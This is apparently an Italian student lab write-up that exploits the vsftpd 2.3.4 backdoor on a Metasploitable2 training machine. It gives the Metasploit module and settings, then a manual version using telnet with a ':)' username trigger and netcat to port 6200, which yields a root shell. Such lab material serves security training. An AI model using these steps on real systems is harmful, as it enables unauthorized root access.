

Sessione di hacking sul servizio “vsftpd” verso la macchina Metasploitable2

- Aprire il servizio Metasploit con ‘msfconsole’

```
Metasploit Documentation: https://docs.metasploit.com/

msf6 > searh vsftpd
[-] Unknown command: searh. Did you mean search? Run the help command for more details.
msf6 > search vsftpd

Matching Modules
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/dos/ftp/vsftpd_232	2011-02-03	normal	Yes	VSFTPD 2.3.2 Denial of Service
1	exploit/unix/ftp/vsftpd_234_backdoor	2011-07-03	excellent	No	VSFTPD v2.3.4 Backdoor Command Execution

```

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.32.101
RHOSTS => 192.168.32.101
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rport 21
rport => 21
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.32.101:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.32.101:21 - USER: 331 Please specify the password.
[*] 192.168.32.101:21 - Backdoor service has been spawned, handling...
[*] 192.168.32.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.32.100:40157 -> 192.168.32.101:6200) at 2024-08-29 14:36:18 -0400

```

- Ricerca per il servizio vsftpd ed ho scelto il modulo exploit/unix/ftp/vsftpd_234_backdoor
- Set del RHOSTS(IP macchina Metasploitable2) e RPORT (21)
- Ho lasciato il PAYLOAD di default e successivamente avviato l' exploit

```
mkdir /test_metasploit
mkdir: cannot create directory '/test_metasploit': File exists
ls -l
total 109
drwxr-xr-x  2 root root  4096 May 13  2012 bin
drwxr-xr-x  4 root root 1024 May 13  2012 boot
lrwxrwxrwx  1 root root    11 Apr 28  2010 cdrom -> media/cdrom
drwxr-xr-x 14 root root 13540 Aug 30 13:34 dev
drwxr-xr-x 94 root root  4096 Aug 30 13:34 etc
drwxr-xr-x  6 root root  4096 Apr 16  2010 home
drwxr-xr-x  2 root root  4096 Mar 16  2010 initrd
lrwxrwxrwx  1 root root    32 Apr 28  2010 initrd.img -> boot/initrd.img
drwxr-xr-x 13 root root  4096 May 13  2012 lib
drwx----- 2 root root 16384 Mar 16  2010 lost+found
drwxr-xr-x  4 root root  4096 Mar 16  2010 media
drwxr-xr-x  3 root root  4096 Apr 28  2010 mnt
-rw----- 1 root root 29614 Aug 30 13:35 nohup.out
drwxr-xr-x  2 root root  4096 Mar 16  2010 opt
dr-xr-xr-x 103 root root    0 Aug 30 13:34 proc
drwxr-xr-x 13 root root  4096 Aug 30 13:35 root
drwxr-xr-x  2 root root  4096 May 13  2012/sbin
drwxr-xr-x  2 root root  4096 Mar 16  2010/srv
drwxr-xr-x 12 root root    0 Aug 30 13:34/sys
drwx----- 2 root root  4096 Aug 29 14:38 test_metasploit
drwxrwxrwt  4 root root  4096 Aug 30 13:35 tmp
drwxr-xr-x 12 root root  4096 Apr 28  2010/usr
drwxr-xr-x 15 root root  4096 Jul 27  06:19/var
lrwxrwxrwx  1 root root    29 Apr 28  2010/vmlinuz -> boot/vmlinuz
```

Dopo l'accesso nella macchina target è stata creata una cartella 'test_metasploit'.

Sessione di hacking con telnet e netcat

Tramite il comando 'edit' del modulo visto precedentemente è possibile visionare il codice dell'exploit

```
print_status("Banner: #{banner.strip}")

sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n")
resp = sock.get_once(-1, 30).to_s
print_status("USER: #{resp.strip}")

if resp =~
  sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n")
```

Per poter creare un exploit con telnet e nc dobbiamo:

- Collegarsi con telnet alla porta 21

```
(kali㉿kali)-[~]
$ telnet 192.168.32.101 21
Trying 192.168.32.101...
Connected to 192.168.32.101.
Escape character is '^]'.
220 (vsFTPD 2.3.4)
USER ciao:)
331 Please specify the password.
PASS pass
```

- Inserire USER e PASS seguendo le indicazioni (nell'immagine sopra)
 - USER 'qualsiasi:) ' [:) è un trigger d'accesso]
 - PASS 'qualsiasi'
 - Avviando una shell remota

- Successivamente utilizziamo nc che si è attaccata alla porta 6200

```
(kali㉿kali)-[~]
$ nc 192.168.32.101 6200
whoami root
ls -l
total 109
drwxr-xr-x  2 root root  4096 May 13  2012 bin
drwxr-xr-x  4 root root 1024 May 13  2012 boot
lrwxrwxrwx  1 root root   11 Apr 28  2010 cdrom -> media/cdrom
drwxr-xr-x 14 root root 13540 Aug 30 13:34 dev
drwxr-xr-x 94 root root  4096 Aug 30 13:34 etc
drwxr-xr-x  6 root root  4096 Apr 16  2010 home
drwxr-xr-x  2 root root  4096 Mar 16  2010 initrd
```